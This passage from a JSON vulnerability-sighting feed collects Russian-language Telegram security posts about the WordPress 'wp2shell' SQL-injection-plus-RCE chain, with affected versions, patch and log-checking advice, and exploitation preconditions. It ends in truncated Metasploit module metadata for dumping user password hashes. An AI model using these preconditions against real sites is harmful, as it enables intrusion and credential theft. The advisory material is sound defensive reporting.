\u0434\u0440\u0443\u0433\u043e\u0433\u043e. \u0422\u0430\u043a \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0435\u0437\u0436\u0430\u0435\u0442 \u0434\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430, \u0438 \u0434\u0432\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u0430\u0442\u0447\u0430 \u0447\u0435\u0440\u0435\u0437 \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0430 Cloudflare \u0441 17 \u0438\u044e\u043b\u044f \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 WAF \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 CVE. \u041d\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u0430\u0439\u0442\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e: \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041f\u0430\u0442\u0447 \u0443\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043f\u043e \u0440\u0430\u0437\u043d\u0438\u0446\u0435 \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n#WordPress #wp2shell #RCE #CVE\n\n@ZerodayAlert", "url": "https://t.me/SecLabNews/17958"}, {"timestamp": "2026-09-03T00:00:45.964Z", "date_only": false, "value": "2026-09-03T00:00:45.964738Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Russian_OSINT/7565", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8761a0cd-7d96-482b-a7a4-2dfb20cf39cb", "content": "\u0421\u043e\u0441\u0442\u043e\u044f\u043b\u0441\u044f \u0440\u0435\u043b\u0438\u0437 WordPress 7.0.2, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \u043e\u0434\u043d\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u043e\u0434\u043d\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043a\u043e\u043c\u0430\u043d\u0434\u0430 WordPress \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0441\u0430\u0439\u0442\u043e\u0432.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u2014 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f (CVE-2026-60137), \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 TF1T, dtro \u0438 haongo.\n\n\u0412\u0442\u043e\u0440\u0430\u044f, \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE) \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (CVE-2026-63030), \u0431\u044b\u043b\u0430 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0410\u0434\u0430\u043c\u043e\u043c \u041a\u044c\u044e\u0441\u043e\u043c (Adam Kues) \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Searchlight Cyber (Assetnote).\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e.\n\nhttps://wordpress.org/news/2026/07/wordpress-7-0-2-release/\n--------------------------\n\n\ud83e\udd14\u0423\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435: \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043a\u0435\u0439\u0441\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u0440\u044b\u043d\u043e\u0447\u043d\u0430\u044f \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0443 \u0431\u0440\u043e\u043a\u0435\u0440\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442 500 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u0431\u044b\u043b \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u043e\u0432\u0435\u0439\u0448\u0435\u0439 \u044f\u0437\u044b\u043a\u043e\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c\u044e \u2b55\ufe0f GPT5.6 Sol Ultra. \u0418\u0418 \u0432\u044b\u044f\u0432\u0438\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u00ab\u0441 \u0447\u0438\u0441\u0442\u043e\u0433\u043e \u043b\u0438\u0441\u0442\u0430\u00bb \u0432\u0441\u0435\u0433\u043e \u0437\u0430 10 \u0447\u0430\u0441\u043e\u0432 \u043f\u0440\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0442\u0430\u0445 \u043e\u043a\u043e\u043b\u043e 25 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0430 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432 (batch-route confusion) \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 REST API, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u043e\u043c \u0435\u0449\u0435 \u0432 WordPress 5.6. \u0418\u0418 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u0434\u0432\u0438\u0433 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u043e\u0432 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043c\u0438\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432.\n\n\u0422\u043e, \u0447\u0442\u043e \u043d\u0430 \u0440\u044b\u043d\u043a\u0435 \u043a\u0438\u0431\u0435\u0440\u043e\u0440\u0443\u0436\u0438\u044f \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 500 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u0431\u044b\u043b\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043e \u043f\u0440\u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0442\u0430\u0445 \u0432\u0441\u0435\u0433\u043e \u0432 25 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 (\u0438\u043c\u0435\u043d\u043d\u043e \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0440\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0435 \u043d\u0430 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c). \u0418\u0418\u0448\u043a\u0430 \u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0432\u0441\u0435\u0433\u043e \u0437\u0430 10 \u0447\u0430\u0441\u043e\u0432.\n\n\u0418\u0418 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u0448\u0435\u043b \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443, \u043e\u043d \u0432\u044b\u0441\u0442\u0440\u043e\u0438\u043b \u0444\u0435\u043d\u043e\u043c\u0435\u043d\u0430\u043b\u044c\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u0443\u044e, \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0443\u044e \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b. \u041a\u0430\u043a \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0441\u044f \u0441\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043d\u0438 \u043e\u0434\u0438\u043d \u044d\u043a\u0441\u043f\u0435\u0440\u0442-\u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432 \u043c\u0438\u0440\u0435 \u043d\u0435 \u0441\u043c\u043e\u0433 \u0431\u044b \u0441 \u043d\u0443\u043b\u044f \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0437\u0430 \u0441\u0442\u043e\u043b\u044c \u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u270b @Russian_OSINT", "url": "https://t.me/Russian_OSINT/7565"}, {"timestamp": "2026-09-03T12:00:06.467Z", "date_only": false, "value": "2026-09-03T12:00:06.467023Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/bizone_channel/2810", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f39d3508-b150-4c92-8755-218654451c06", "content": "\ud83d\udd3a\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c WP2Shell \u0432 WordPress Core \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 9,8 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS\n\nCVE-2026-63030 \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 CVE-2026-60137 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u044f\u0434\u0440\u043e WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.0\u20136.9.4 \u0438 7.0.0\u20137.0.1 (SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f CVE-2026-60137 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0442\u043a\u0443 6.8.0\u20136.8.5). \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 REST API batch \u2014 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f remote code execution (RCE) \u043d\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.\n\n17 \u0438\u044e\u043b\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b, \u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b BI.Z\u041eNE WAF \u0443\u0436\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0430\u0442\u0430\u043a.\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c:\n\n\ud83d\udd35\u041a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2 (\u0432\u0435\u0442\u043a\u0430 7.0), 6.9.5 (\u0432\u0435\u0442\u043a\u0430 6.9) \u0438\u043b\u0438 6.8.6 (\u0432\u0435\u0442\u043a\u0430 6.8, \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e).\n\n\ud83d\udd35\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043b\u043e\u0433\u0438 \u043d\u0430 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a /wp-json/batch/v1 \u0438 ?rest_route=/batch/v1, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 WordPress \u2014 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u0414\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 BI.Z\u041eNE WAF \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u044e\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 WP2Shell, \u0430 \u0432 BI.Z\u041eNE EASM \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.", "url": "https://t.me/bizone_channel/2810"}, {"timestamp": "2026-09-04T14:00:05.260Z", "date_only": false, "value": "2026-09-04T14:00:05.260908Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ap_security/1026", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d6cb21a7-f2ed-400f-a14d-02a0edd8eda0", "content": "#poc #pentest \n\nwp2shell \ud83d\udccc\n\nwp2shell \u2014 \u044d\u0442\u043e PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u044e\u0449\u0438\u0439 \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2026-63030 & CVE-2026-60137) WordPress Core \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 RCE.\n\n \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438:\n\n\u25fd\ufe0f\u0412\u0435\u0440\u0441\u0438\u044f WordPress: 6.9.0 \u2013 6.9.4 \u0438\u043b\u0438 7.0.0 \u2013 7.0.1. \n\n\u0418\u043c\u0435\u043d\u043d\u043e \u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e, \u043e\u0431\u0440\u0430\u0437\u0443\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f RCE. \u0411\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 (6.8.x) \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0442\u043e\u043b\u044c\u043a\u043e SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e, \u043d\u043e \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439\n\n\u25fd\ufe0f\u0414\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c REST API: \u0426\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0430\u0439\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 REST API endpoint \u043f\u043e \u043f\u0443\u0442\u0438 /wp-json/batch/v1\n\n\u25fd\ufe0f\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438: \u042d\u0442\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u044d\u0442\u0430\u043f\u043e\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \n\n\u0426\u0435\u043f\u043e\u0447\u043a\u0430 wp2shell \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e (CVE-2026-60137) \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f UNION SELECT-\u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e\u0442 UNION-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0438 \u0441\u043e\u0437\u0434\u0430\u043b \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043e\u0431\u044a\u0435\u043a\u0442\u044b,  \u043d\u0443\u0436\u043d\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u0441\u0430\u0439\u0442\u0430.\n\n\u26a0\ufe0f  \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0434\u0430\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0435\u0441\u044c \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.9.5 \u0438\u043b\u0438 7.0.2 \u2014 \u044d\u0442\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0443 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 WAF \u0438\u043b\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043b\u044f REST API \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c.", "url": "https://t.me/ap_security/1026"}, {"timestamp": "2026-09-08T06:47:55.992Z", "date_only": false, "value": "2026-09-08T06:47:55.992113Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/wordpress_wp2shell_sqli.rb", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "504f5cd1-c107-43bb-819c-89834d0a9f69", "content": "{\"actions\": [{\"description\": \"Dump username and password hash for COUNT users via blind SQLi\", \"name\": \"List Users\"}], \"aliases\": [], \"arch\": \"\", \"author\": [\"dividesbyzer0\", \"Searchlight Cyber\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 